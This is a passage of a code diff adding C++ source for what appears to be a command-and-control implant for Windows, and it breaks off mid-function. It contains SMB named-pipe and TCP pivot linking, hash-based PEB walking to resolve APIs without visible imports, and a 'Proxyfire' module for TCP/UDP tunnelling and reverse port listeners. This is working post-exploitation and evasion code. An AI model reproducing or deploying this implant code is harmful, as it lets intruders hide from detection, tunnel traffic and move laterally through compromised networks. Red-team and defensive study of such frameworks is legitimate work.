||||
outPacker->Pack32(taskId);
|
||||
outPacker->Pack32(0x1111ffff); // COMMAND_ERROR
|
||||
outPacker->Pack32(err);
|
||||
}
|
||||
|
||||
|
||||
void Pivotter::UnlinkPivot(ULONG taskId, ULONG commandId, ULONG pivotId, Packer* outPacker)
|
||||
{
|
||||
ULONG result = FALSE;
|
||||
PivotData* pivotData = NULL;
|
||||
for (int i = 0; i < this->pivots.size(); i++) {
|
||||
pivotData = &(this->pivots[i]);
|
||||
if (pivotData->Id == pivotId) {
|
||||
if (pivotData->Type == PIVOT_TYPE_SMB) {
|
||||
if (pivotData->Channel) {
|
||||
ApiWin->DisconnectNamedPipe(pivotData->Channel);
|
||||
ApiNt->NtClose(pivotData->Channel);
|
||||
}
|
||||
}
|
||||
else if (pivotData->Type == PIVOT_TYPE_TCP) {
|
||||
ApiWin->shutdown(pivotData->Socket, 2);
|
||||
ApiWin->closesocket(pivotData->Socket);
|
||||
}
|
||||
result = pivotData->Type;
|
||||
this->pivots.remove(i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
pivotData = NULL;
|
||||
|
||||
outPacker->Pack32(taskId);
|
||||
outPacker->Pack32(commandId);
|
||||
outPacker->Pack32(pivotId);
|
||||
outPacker->Pack8(result);
|
||||
}
|
||||
|
||||
void Pivotter::WritePivot(ULONG pivotId, BYTE* data, ULONG size)
|
||||
{
|
||||
if (data == NULL || size == 0)
|
||||
return;
|
||||
|
||||
PivotData* pivotData = NULL;
|
||||
for (int i = 0; i < this->pivots.size(); i++) {
|
||||
pivotData = &(this->pivots[i]);
|
||||
if (pivotData->Id == pivotId) {
|
||||
if (pivotData->Type == PIVOT_TYPE_SMB) {
|
||||
if (pivotData->Channel)
|
||||
WriteDataToPipe(pivotData->Channel, data, size);
|
||||
}
|
||||
else if (pivotData->Type == PIVOT_TYPE_TCP) {
|
||||
timeval timeout = { 0, 100 };
|
||||
fd_set exceptfds;
|
||||
fd_set writefds;
|
||||
|
||||
writefds.fd_array[0] = pivotData->Socket;
|
||||
writefds.fd_count = 1;
|
||||
exceptfds.fd_array[0] = writefds.fd_array[0];
|
||||
exceptfds.fd_count = 1;
|
||||
ApiWin->select(0, 0, &writefds, &exceptfds, &timeout);
|
||||
if (ApiWin->__WSAFDIsSet(pivotData->Socket, &exceptfds))
|
||||
break;
|
||||
if (ApiWin->__WSAFDIsSet(pivotData->Socket, &writefds)) {
|
||||
if (ApiWin->send(pivotData->Socket, (const char*)&size, 4, 0) != -1 || ApiWin->WSAGetLastError() != WSAEWOULDBLOCK)
|
||||
ApiWin->send(pivotData->Socket, (const char*)data, size, 0);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
pivotData = NULL;
|
||||
}
|
||||
|
||||
void Pivotter::ProcessPivots(Packer* packer)
|
||||
{
|
||||
if ( !this->pivots.size() )
|
||||
return;
|
||||
|
||||
PivotData* pivotData = NULL;
|
||||
for (int i = 0; i < this->pivots.size(); i++) {
|
||||
pivotData = &this->pivots[i];
|
||||
|
||||
if (pivotData->Type == PIVOT_TYPE_SMB) {
|
||||
|
||||
if (pivotData->Channel) {
|
||||
if (PeekNamedPipeTime(pivotData->Channel, 0)) {
|
||||
LPVOID mallocBuffer = NULL;
|
||||
ULONG mallocSize = 0;
|
||||
DWORD readedBytes = ReadDataFromPipe(pivotData->Channel, &mallocBuffer, &mallocSize);
|
||||
if (readedBytes != -1) {
|
||||
packer->Pack32(0);
|
||||
packer->Pack32(COMMAND_PIVOT_EXEC);
|
||||
packer->Pack32(pivotData->Id);
|
||||
packer->PackBytes((PBYTE)mallocBuffer, readedBytes);
|
||||
}
|
||||
if(mallocBuffer && mallocSize)
|
||||
MemFreeLocal(&mallocBuffer, readedBytes);
|
||||
}
|
||||
else {
|
||||
if (TEB->LastErrorValue == ERROR_BROKEN_PIPE) {
|
||||
TEB->LastErrorValue = 0;
|
||||
|
||||
ApiWin->DisconnectNamedPipe(pivotData->Channel);
|
||||
ApiNt->NtClose(pivotData->Channel);
|
||||
|
||||
packer->Pack32(0);
|
||||
packer->Pack32(COMMAND_UNLINK);
|
||||
packer->Pack32(pivotData->Id);
|
||||
packer->Pack8(PIVOT_TYPE_DISCONNECT);
|
||||
|
||||
this->pivots.remove(i);
|
||||
i--;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (pivotData->Type == PIVOT_TYPE_TCP) {
|
||||
|
||||
if ( CheckSocketState(pivotData->Socket, 2500) ) {
|
||||
LPVOID buffer = NULL;
|
||||
ULONG dataLength = 0;
|
||||
ULONG readed = 0;
|
||||
DWORD res = ApiWin->ioctlsocket(pivotData->Socket, FIONREAD, &dataLength);
|
||||
if (res != -1 && dataLength >= 4) {
|
||||
dataLength = 0;
|
||||
readed = ReadFromSocket(pivotData->Socket, (PCHAR)&dataLength, 4);
|
||||
if (readed == 4 && dataLength) {
|
||||
buffer = MemAllocLocal(dataLength);
|
||||
readed = ReadFromSocket(pivotData->Socket, (PCHAR)buffer, dataLength);
|
||||
if (readed != -1) {
|
||||
packer->Pack32(0);
|
||||
packer->Pack32(COMMAND_PIVOT_EXEC);
|
||||
packer->Pack32(pivotData->Id);
|
||||
packer->PackBytes((BYTE*)buffer, readed);
|
||||
}
|
||||
if (buffer && dataLength)
|
||||
MemFreeLocal((LPVOID*)&buffer, dataLength);
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
ApiWin->shutdown(pivotData->Socket, 2);
|
||||
ApiWin->closesocket(pivotData->Socket);
|
||||
|
||||
packer->Pack32(0);
|
||||
packer->Pack32(COMMAND_UNLINK);
|
||||
packer->Pack32(pivotData->Id);
|
||||
packer->Pack8(PIVOT_TYPE_DISCONNECT);
|
||||
|
||||
this->pivots.remove(i);
|
||||
i--;
|
||||
}
|
||||
}
|
||||
}
|
||||
pivotData = NULL;
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
#pragma once
|
||||
|
||||
#include "std.cpp"
|
||||
#include "Packer.h"
|
||||
|
||||
#define COMMAND_PIVOT_EXEC 37
|
||||
#define COMMAND_LINK 38
|
||||
#define COMMAND_UNLINK 39
|
||||
|
||||
#define PIVOT_TYPE_SMB 1
|
||||
#define PIVOT_TYPE_TCP 2
|
||||
#define PIVOT_TYPE_DISCONNECT 10
|
||||
|
||||
struct PivotData {
|
||||
ULONG Id;
|
||||
ULONG Type;
|
||||
HANDLE Channel;
|
||||
SOCKET Socket;
|
||||
};
|
||||
|
||||
class Pivotter
|
||||
{
|
||||
public:
|
||||
Vector<PivotData> pivots;
|
||||
|
||||
void ProcessPivots(Packer* packer);
|
||||
|
||||
void LinkPivotSMB(ULONG taskId, ULONG commandId, CHAR* pipename, Packer* outPacker);
|
||||
void LinkPivotTCP(ULONG taskId, ULONG commandId, CHAR* address, WORD port, Packer* outPacker);
|
||||
void UnlinkPivot(ULONG taskId, ULONG commandId, ULONG pivotId, Packer* outPacker);
|
||||
void WritePivot(ULONG pivotId, BYTE* data, ULONG size);
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
};
|
||||
@@ -0,0 +1,146 @@
|
||||
#include "ProcLoader.h"
|
||||
#include "ApiLoader.h"
|
||||
#include "utils.h"
|
||||
#include "ntdll.h"
|
||||
|
||||
ULONG Djb2A(PUCHAR str)
|
||||
{
|
||||
if (str == NULL)
|
||||
return 0;
|
||||
|
||||
ULONG hash = 1572;
|
||||
int c;
|
||||
while (c = *str++) {
|
||||
if (c >= 'A' && c <= 'Z')
|
||||
c += 0x20;
|
||||
hash = ((hash << 5) + hash) + c;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
ULONG Djb2W(PWCHAR str)
|
||||
{
|
||||
if (str == NULL)
|
||||
return 0;
|
||||
|
||||
ULONG hash = 1572;
|
||||
int c;
|
||||
while (c = *str++) {
|
||||
if (c >= L'A' && c <= L'Z')
|
||||
c += 0x20;
|
||||
hash = ((hash << 5) + hash) + c;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
HMODULE GetModuleAddress(ULONG modHash)
|
||||
{
|
||||
|
||||
#ifdef _M_IX86
|
||||
PEB* ProcEnvBlk = (PEB*)__readfsdword(0x30);
|
||||
#else
|
||||
PEB* ProcEnvBlk = (PEB*)__readgsqword(0x60);
|
||||
#endif
|
||||
|
||||
PEB_LDR_DATA* Ldr = ProcEnvBlk->Ldr;
|
||||
LIST_ENTRY* ModuleList = NULL;
|
||||
ModuleList = &Ldr->InMemoryOrderModuleList;
|
||||
LIST_ENTRY* pStartListEntry = ModuleList->Flink;
|
||||
|
||||
for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) {
|
||||
LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY));
|
||||
if ( Djb2W((PWCHAR)pEntry->BaseDllName.Buffer) == modHash )
|
||||
return (HMODULE)pEntry->DllBase;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
LPVOID GetSymbolAddress(HANDLE hModule, ULONG symbHash)
|
||||
{
|
||||
static int recursionDepth = 0;
|
||||
if (recursionDepth > 6)
|
||||
return NULL;
|
||||
|
||||
if (hModule == NULL)
|
||||
return 0;
|
||||
|
||||
recursionDepth++;
|
||||
|
||||
uintptr_t dllAddress = (uintptr_t) hModule;
|
||||
|
||||
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllAddress + ((PIMAGE_DOS_HEADER)dllAddress)->e_lfanew);
|
||||
PIMAGE_DATA_DIRECTORY dataDirectory = (PIMAGE_DATA_DIRECTORY)&ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllAddress + dataDirectory->VirtualAddress);
|
||||
|
||||
uintptr_t exportedAddressTable = dllAddress + exportDirectory->AddressOfFunctions;
|
||||
uintptr_t namePointerTable = dllAddress + exportDirectory->AddressOfNames;
|
||||
uintptr_t ordinalTable = dllAddress + exportDirectory->AddressOfNameOrdinals;
|
||||
uintptr_t symbolAddress = 0;
|
||||
DWORD procAddress = 0;
|
||||
|
||||
DWORD dwCounter = exportDirectory->NumberOfNames;
|
||||
while (dwCounter--) {
|
||||
PUCHAR cpExportedFunctionName = (PUCHAR)(dllAddress + *(DWORD*)namePointerTable);
|
||||
if ( Djb2A(cpExportedFunctionName) == symbHash ) {
|
||||
exportedAddressTable += (*(WORD*)ordinalTable * sizeof(DWORD));
|
||||
procAddress = *(DWORD*)exportedAddressTable;
|
||||
symbolAddress = dllAddress + procAddress;
|
||||
|
||||
if ( dataDirectory->VirtualAddress < procAddress && procAddress < dataDirectory->VirtualAddress + dataDirectory->Size ) {
|
||||
char* symbol = (char*)(symbolAddress);
|
||||
char moduleName[64] = { 0 };
|
||||
char funcName[64] = { 0 };
|
||||
|
||||
int index = StrIndexA(symbol, '.');
|
||||
if (index >= 0) {
|
||||
memcpy(moduleName, symbol, ++index);
|
||||
moduleName[index ] = 'd';
|
||||
moduleName[index + 1] = 'l';
|
||||
moduleName[index + 2] = 'l';
|
||||
moduleName[index + 3] = 0;
|
||||
|
||||
memcpy(funcName, symbol + index, StrLenA(symbol) - index + 1);
|
||||
|
||||
BOOL isApiSetDll = FALSE;
|
||||
if (StrLenA(moduleName) > 11 && StrNCmpA(moduleName, (char*)"api-ms-win-", 11) == 0)
|
||||
isApiSetDll = TRUE;
|
||||
else if (StrLenA(moduleName) > 7 && StrNCmpA(moduleName, (char*)"ext-ms-", 7) == 0)
|
||||
isApiSetDll = TRUE;
|
||||
|
||||
HMODULE hForwardModule = ApiWin->LoadLibraryA(moduleName);
|
||||
|
||||
if (hForwardModule) {
|
||||
LPVOID result = NULL;
|
||||
|
||||
if (isApiSetDll) {
|
||||
result = (LPVOID)ApiWin->GetProcAddress(hForwardModule, funcName);
|
||||
}
|
||||
else {
|
||||
ULONG hashFunc = Djb2A((PUCHAR)funcName);
|
||||
result = GetSymbolAddress(hForwardModule, hashFunc);
|
||||
}
|
||||
|
||||
memset(moduleName, 0, StrLenA(moduleName));
|
||||
memset(funcName, 0, StrLenA(funcName));
|
||||
|
||||
recursionDepth--;
|
||||
return result;
|
||||
}
|
||||
|
||||
memset(moduleName, 0, StrLenA(moduleName));
|
||||
memset(funcName, 0, StrLenA(funcName));
|
||||
}
|
||||
break;
|
||||
}
|
||||
else {
|
||||
recursionDepth--;
|
||||
return (LPVOID) symbolAddress;
|
||||
}
|
||||
}
|
||||
namePointerTable += sizeof(DWORD);
|
||||
ordinalTable += sizeof(WORD);
|
||||
}
|
||||
|
||||
recursionDepth--;
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include "ApiDefines.h"
|
||||
|
||||
ULONG Djb2A(PUCHAR str);
|
||||
|
||||
ULONG Djb2W(PWCHAR str);
|
||||
|
||||
HMODULE GetModuleAddress(ULONG modHash);
|
||||
|
||||
LPVOID GetSymbolAddress(HANDLE hModule, ULONG symbHash);
|
||||
@@ -0,0 +1,684 @@
|
||||
#include "Proxyfire.h"
|
||||
|
||||
void* Proxyfire::operator new(size_t sz)
|
||||
{
|
||||
void* p = MemAllocLocal(sz);
|
||||
return p;
|
||||
}
|
||||
|
||||
void Proxyfire::operator delete(void* p) noexcept
|
||||
{
|
||||
MemFreeLocal(&p, sizeof(Proxyfire));
|
||||
}
|
||||
|
||||
void PackProxyStatus(Packer* packer, ULONG channelId, ULONG commandId, ULONG type, ULONG result)
|
||||
{
|
||||
packer->Pack32(channelId);
|
||||
packer->Pack32(commandId);
|
||||
packer->Pack32(type);
|
||||
packer->Pack32(result);
|
||||
}
|
||||
|
||||
void PackProxyControl(Packer* packer, ULONG channelId, ULONG commandId)
|
||||
{
|
||||
packer->Pack32(channelId);
|
||||
packer->Pack32(commandId);
|
||||
}
|
||||
|
||||
void PackProxyData(Packer* packer, ULONG channelId, BYTE* data, ULONG dataSize )
|
||||
{
|
||||
packer->Pack32(channelId);
|
||||
packer->Pack32(COMMAND_TUNNEL_WRITE_TCP);
|
||||
packer->PackBytes(data, dataSize);
|
||||
}
|
||||
|
||||
void Proxyfire::AddProxyData(ULONG channelId, ULONG type, SOCKET sock, ULONG waitTime, ULONG mode, ULONG address, WORD port, ULONG state)
|
||||
{
|
||||
TunnelData tunnelData = { 0 };
|
||||
tunnelData.channelID = channelId;
|
||||
tunnelData.type = type;
|
||||
tunnelData.sock = sock;
|
||||
tunnelData.waitTime = waitTime;
|
||||
tunnelData.mode = mode;
|
||||
tunnelData.state = state;
|
||||
tunnelData.i_address = address;
|
||||
tunnelData.port = port;
|
||||
tunnelData.startTick = ApiWin->GetTickCount();
|
||||
tunnelData.writeBuffer = NULL;
|
||||
tunnelData.writeBufferSize = 0;
|
||||
tunnelData.paused = FALSE;
|
||||
tunnelData.server_paused = FALSE;
|
||||
this->tunnels.push_back(tunnelData);
|
||||
}
|
||||
|
||||
//////////
|
||||
|
||||
SOCKET listenSocket(u_short port, int stream)
|
||||
{
|
||||
WSAData WSAData;
|
||||
if (ApiWin->WSAStartup(514u, &WSAData) < 0)
|
||||
return -1;
|
||||
|
||||
SOCKET sock = ApiWin->socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sock == -1)
|
||||
return -1;
|
||||
|
||||
struct sockaddr_in saddr = { 0 };
|
||||
saddr.sin_family = AF_INET;
|
||||
saddr.sin_port = _htons(port);
|
||||
|
||||
u_long argp = 1;
|
||||
int result = ApiWin->ioctlsocket(sock, FIONBIO, &argp);
|
||||
if (result != -1) {
|
||||
|
||||
result = ApiWin->bind(sock, (struct sockaddr*)&saddr, sizeof(sockaddr));
|
||||
if (result != -1) {
|
||||
|
||||
result = ApiWin->listen(sock, stream);
|
||||
if (result != -1) {
|
||||
return sock;
|
||||
}
|
||||
}
|
||||
}
|
||||
ApiWin->closesocket(sock);
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Proxyfire::ConnectMessageTCP(ULONG channelId, ULONG type, CHAR* address, WORD port, Packer* outPacker)
|
||||
{
|
||||
WSAData wsaData;
|
||||
if (ApiWin->WSAStartup(514, &wsaData)) {
|
||||
ApiWin->WSACleanup();
|
||||
return;
|
||||
}
|
||||
else {
|
||||
SOCKET sock = ApiWin->socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sock != -1) {
|
||||
hostent* host = ApiWin->gethostbyname(address);
|
||||
if (host) {
|
||||
sockaddr_in socketAddress = { 0 };
|
||||
memcpy(&socketAddress.sin_addr, *(const void**)host->h_addr_list, host->h_length); //memmove
|
||||
socketAddress.sin_family = AF_INET;
|
||||
socketAddress.sin_port = _htons(port);
|
||||
|
||||
DWORD timeout = 100;
|
||||
ApiWin->setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout));
|
||||
ApiWin->setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout, sizeof(timeout));
|
||||
|
||||
u_long mode = 1;
|
||||
ApiWin->ioctlsocket(sock, FIONBIO, &mode);
|
||||
|
||||
int result = ApiWin->connect(sock, (sockaddr*)&socketAddress, sizeof(socketAddress));
|
||||
if (result == 0) {
|
||||
this->AddProxyData(channelId, type, sock, 30000, TUNNEL_MODE_SEND_TCP, 0, 0, TUNNEL_STATE_CONNECT);
|
||||
ApiWin->WSACleanup();
|
||||
return;
|
||||
}
|
||||
|
||||
int connectError = ApiWin->WSAGetLastError();
|
||||
if (connectError != WSAEWOULDBLOCK) {
|
||||
ApiWin->closesocket(sock);
|
||||
ApiWin->WSACleanup();
|
||||
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, type, connectError);
|
||||
return;
|
||||
}
|
||||
|
||||
fd_set writefds;
|
||||
FD_ZERO(&writefds);
|
||||
FD_SET(sock, &writefds);
|
||||
timeval tv = { 0, 100000 };
|
||||
|
||||
int selectResult = ApiWin->select(0, NULL, &writefds, NULL, &tv);
|
||||
|
||||
if (selectResult > 0 && ApiWin->__WSAFDIsSet((SOCKET)(sock), (fd_set FAR*)(&writefds))) {
|
||||
int sockError = 0;
|
||||
int len = sizeof(sockError);
|
||||
ApiWin->getsockopt(sock, SOL_SOCKET, SO_ERROR, (char*)&sockError, &len);
|
||||
|
||||
if (sockError == 0) {
|
||||
this->AddProxyData(channelId, type, sock, 30000, TUNNEL_MODE_SEND_TCP, 0, 0, TUNNEL_STATE_CONNECT);
|
||||
return;
|
||||
}
|
||||
else {
|
||||
ApiWin->closesocket(sock);
|
||||
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, type, sockError);
|
||||
}
|
||||
}
|
||||
else {
|
||||
ApiWin->closesocket(sock);
|
||||
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, type, WSAETIMEDOUT);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ULONG error = ApiWin->WSAGetLastError();
|
||||
|
||||
ApiWin->closesocket(sock);
|
||||
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, type, error);
|
||||
}
|
||||
}
|
||||
|
||||
void Proxyfire::ConnectMessageUDP(ULONG channelId, CHAR* address, WORD port, Packer* outPacker)
|
||||
{
|
||||
WSAData wsaData;
|
||||
if (ApiWin->WSAStartup(514, &wsaData)) {
|
||||
ApiWin->WSACleanup();
|
||||
return;
|
||||
}
|
||||
else {
|
||||
SOCKET sock = ApiWin->socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sock != -1) {
|
||||
hostent* host = ApiWin->gethostbyname(address);
|
||||
if (host) {
|
||||
ULONG addr = 0;
|
||||
memcpy(&addr, *(const void**)host->h_addr_list, 4); //memmove
|
||||
sockaddr_in socketAddress = { 0 };
|
||||
socketAddress.sin_family = AF_INET;
|
||||
if (ApiWin->bind(sock, (sockaddr*)&socketAddress, sizeof(socketAddress)) == 0) {
|
||||
u_long mode = 1;
|
||||
if (ApiWin->ioctlsocket(sock, FIONBIO, &mode) != -1) {
|
||||
this->AddProxyData(channelId, 2, sock, 30000, TUNNEL_MODE_SEND_UDP, addr, port, TUNNEL_STATE_CONNECT);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
ULONG error = ApiWin->WSAGetLastError();
|
||||
|
||||
ApiWin->closesocket(sock);
|
||||
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_START_TCP, 2, error);
|
||||
}
|
||||
}
|
||||
|
||||
void Proxyfire::ConnectWriteTCP(ULONG channelId, CHAR* data, ULONG dataSize, Packer* outPacker)
|
||||
{
|
||||
if (data == NULL || dataSize == 0)
|
||||
return;
|
||||
|
||||
TunnelData* tunnelData;
|
||||
for (int i = 0; i < tunnels.size(); i++) {
|
||||
tunnelData = &(this->tunnels[i]);
|
||||
|
||||
if (tunnelData->channelID != channelId || tunnelData->state != TUNNEL_STATE_READY)
|
||||
continue;
|
||||
|
||||
if (tunnelData->writeBuffer != NULL && tunnelData->writeBufferSize > 0) {
|
||||
|
||||
if (tunnelData->writeBufferSize + dataSize > TUNNEL_BUFFER_HARD_CAP) {
|
||||
ApiWin->closesocket(tunnelData->sock);
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
|
||||
MemFreeLocal((LPVOID*) & tunnelData->writeBuffer, tunnelData->writeBufferSize);
|
||||
tunnelData->writeBuffer = NULL;
|
||||
tunnelData->writeBufferSize = 0;
|
||||
|
||||
if (outPacker)
|
||||
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
|
||||
return;
|
||||
}
|
||||
|
||||
CHAR* newBuf = (CHAR*)MemReallocLocal(tunnelData->writeBuffer, tunnelData->writeBufferSize + dataSize);
|
||||
if (newBuf == NULL) {
|
||||
ApiWin->closesocket(tunnelData->sock);
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
|
||||
MemFreeLocal((LPVOID*) &tunnelData->writeBuffer, tunnelData->writeBufferSize);
|
||||
tunnelData->writeBuffer = NULL;
|
||||
tunnelData->writeBufferSize = 0;
|
||||
|
||||
if (outPacker)
|
||||
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
|
||||
return;
|
||||
}
|
||||
|
||||
tunnelData->writeBuffer = newBuf;
|
||||
memcpy(tunnelData->writeBuffer + tunnelData->writeBufferSize, data, dataSize);
|
||||
tunnelData->writeBufferSize += dataSize;
|
||||
|
||||
if (outPacker && tunnelData->writeBufferSize > TUNNEL_BUFFER_HIGH_WATERMARK && !tunnelData->paused) {
|
||||
tunnelData->paused = TRUE;
|
||||
PackProxyControl(outPacker, channelId, COMMAND_TUNNEL_PAUSE);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
int sent = ApiWin->send(tunnelData->sock, data, (int)dataSize, 0);
|
||||
if (sent == -1) {
|
||||
int err = ApiWin->WSAGetLastError();
|
||||
if (err == WSAEWOULDBLOCK) {
|
||||
sent = 0;
|
||||
}
|
||||
else {
|
||||
ApiWin->closesocket(tunnelData->sock);
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
|
||||
if (outPacker)
|
||||
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, err);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (sent < (int)dataSize) {
|
||||
ULONG remain = dataSize - (ULONG)sent;
|
||||
|
||||
if (remain > TUNNEL_BUFFER_HARD_CAP) {
|
||||
ApiWin->closesocket(tunnelData->sock);
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
|
||||
if (outPacker)
|
||||
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
|
||||
return;
|
||||
}
|
||||
|
||||
tunnelData->writeBuffer = (CHAR*)MemAllocLocal(remain);
|
||||
if (tunnelData->writeBuffer == NULL) {
|
||||
ApiWin->closesocket(tunnelData->sock);
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
|
||||
if (outPacker)
|
||||
PackProxyStatus(outPacker, channelId, COMMAND_TUNNEL_CLOSE, 0, WSAENOBUFS);
|
||||
return;
|
||||
}
|
||||
|
||||
memcpy(tunnelData->writeBuffer, data + sent, remain);
|
||||
tunnelData->writeBufferSize = remain;
|
||||
|
||||
if (outPacker && tunnelData->writeBufferSize > TUNNEL_BUFFER_HIGH_WATERMARK && !tunnelData->paused) {
|
||||
tunnelData->paused = TRUE;
|
||||
PackProxyControl(outPacker, channelId, COMMAND_TUNNEL_PAUSE);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
tunnelData = NULL;
|
||||
}
|
||||
|
||||
void Proxyfire::ConnectWriteUDP(ULONG channelId, CHAR* data, ULONG dataSize)
|
||||
{
|
||||
TunnelData* tunnelData;
|
||||
for (int i = 0; i < tunnels.size(); i++) {
|
||||
tunnelData = &(this->tunnels[i]);
|
||||
if ( tunnelData->channelID == channelId && tunnelData->state == TUNNEL_STATE_READY ) {
|
||||
DWORD finishTick = ApiWin->GetTickCount() + 30000;
|
||||
timeval timeout = { 0, 100 };
|
||||
fd_set exceptfds;
|
||||
fd_set writefds;
|
||||
while (ApiWin->GetTickCount() < finishTick) {
|
||||
writefds.fd_array[0] = tunnelData->sock;
|
||||
writefds.fd_count = 1;
|
||||
exceptfds.fd_array[0] = writefds.fd_array[0];
|
||||
exceptfds.fd_count = 1;
|
||||
ApiWin->select(0, 0, &writefds, &exceptfds, &timeout);
|
||||
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &exceptfds))
|
||||
break;
|
||||
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &writefds)) {
|
||||
sockaddr_in addr_to;
|
||||
addr_to.sin_family = AF_INET;
|
||||
addr_to.sin_port = _htons(tunnelData->port);
|
||||
addr_to.sin_addr.S_un.S_addr = tunnelData->i_address;
|
||||
|
||||
ApiWin->sendto(tunnelData->sock, data, dataSize, 0, (const struct sockaddr*)&addr_to, 16);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
tunnelData = NULL;
|
||||
}
|
||||
|
||||
void Proxyfire::ConnectPause(ULONG channelId)
|
||||
{
|
||||
for (int i = 0; i < tunnels.size(); i++) {
|
||||
TunnelData* t = &(tunnels[i]);
|
||||
if (t->channelID == channelId) {
|
||||
t->server_paused = TRUE;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Proxyfire::ConnectResume(ULONG channelId)
|
||||
{
|
||||
for (int i = 0; i < tunnels.size(); i++) {
|
||||
TunnelData* t = &(tunnels[i]);
|
||||
if (t->channelID == channelId) {
|
||||
t->server_paused = FALSE;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Proxyfire::ConnectClose(ULONG channelId)
|
||||
{
|
||||
TunnelData* tunnelData;
|
||||
for (int i = 0; i < tunnels.size(); i++) {
|
||||
tunnelData = &(this->tunnels[i]);
|
||||
if (tunnelData->channelID == channelId && tunnelData->state != TUNNEL_STATE_CLOSE) {
|
||||
tunnelData->state = TUNNEL_STATE_CLOSE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
tunnelData = NULL;
|
||||
}
|
||||
|
||||
void Proxyfire::ConnectMessageReverse(ULONG tunnelId, WORD port, Packer* outPacker)
|
||||
{
|
||||
for (int i = 0; i < tunnels.size(); i++) {
|
||||
TunnelData tunnelData = this->tunnels[i];
|
||||
if (tunnelData.mode == TUNNEL_MODE_REVERSE_TCP && tunnelData.port == port && tunnelData.state != TUNNEL_STATE_CLOSE) {
|
||||
PackProxyStatus(outPacker, tunnelId, COMMAND_TUNNEL_REVERSE, tunnelData.type, TUNNEL_CREATE_ERROR);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
SOCKET sock = listenSocket(port, 10);
|
||||
if (sock == -1) {
|
||||
PackProxyStatus(outPacker,tunnelId, COMMAND_TUNNEL_REVERSE, 5, TUNNEL_CREATE_ERROR);
|
||||
return;
|
||||
}
|
||||
|
||||
this->AddProxyData(tunnelId, 5, sock, 0, TUNNEL_MODE_REVERSE_TCP, 0, port, TUNNEL_STATE_CONNECT);
|
||||
|
||||
PackProxyStatus(outPacker, tunnelId, COMMAND_TUNNEL_REVERSE, 5, TUNNEL_STATE_CONNECT);
|
||||
}
|
||||
|
||||
///////////////////
|
||||
|
||||
void Proxyfire::CheckProxy(Packer* packer)
|
||||
{
|
||||
TunnelData* tunnelData;
|
||||
timeval timeout = { 0, 100 };
|
||||
for (int i = 0; i < this->tunnels.size(); i++) {
|
||||
tunnelData = &(this->tunnels[i]);
|
||||
if (tunnelData->state == TUNNEL_STATE_CONNECT) {
|
||||
ULONG channelId = tunnelData->channelID;
|
||||
fd_set readfds;
|
||||
readfds.fd_count = 1;
|
||||
readfds.fd_array[0] = tunnelData->sock;
|
||||
fd_set exceptfds;
|
||||
exceptfds.fd_count = 1;
|
||||
exceptfds.fd_array[0] = tunnelData->sock;
|
||||
fd_set writefds;
|
||||
writefds.fd_count = 1;
|
||||
writefds.fd_array[0] = tunnelData->sock;
|
||||
ApiWin->select(0, &readfds, &writefds, &exceptfds, &timeout);
|
||||
|
||||
if ( tunnelData->mode == TUNNEL_MODE_REVERSE_TCP ) {
|
||||
|
||||
if (ApiWin->__WSAFDIsSet(tunnelData->sock, &readfds)) {
|
||||
SOCKET sock = ApiWin->accept(tunnelData->sock, 0, 0);
|
||||
u_long mode = 1;
|
||||
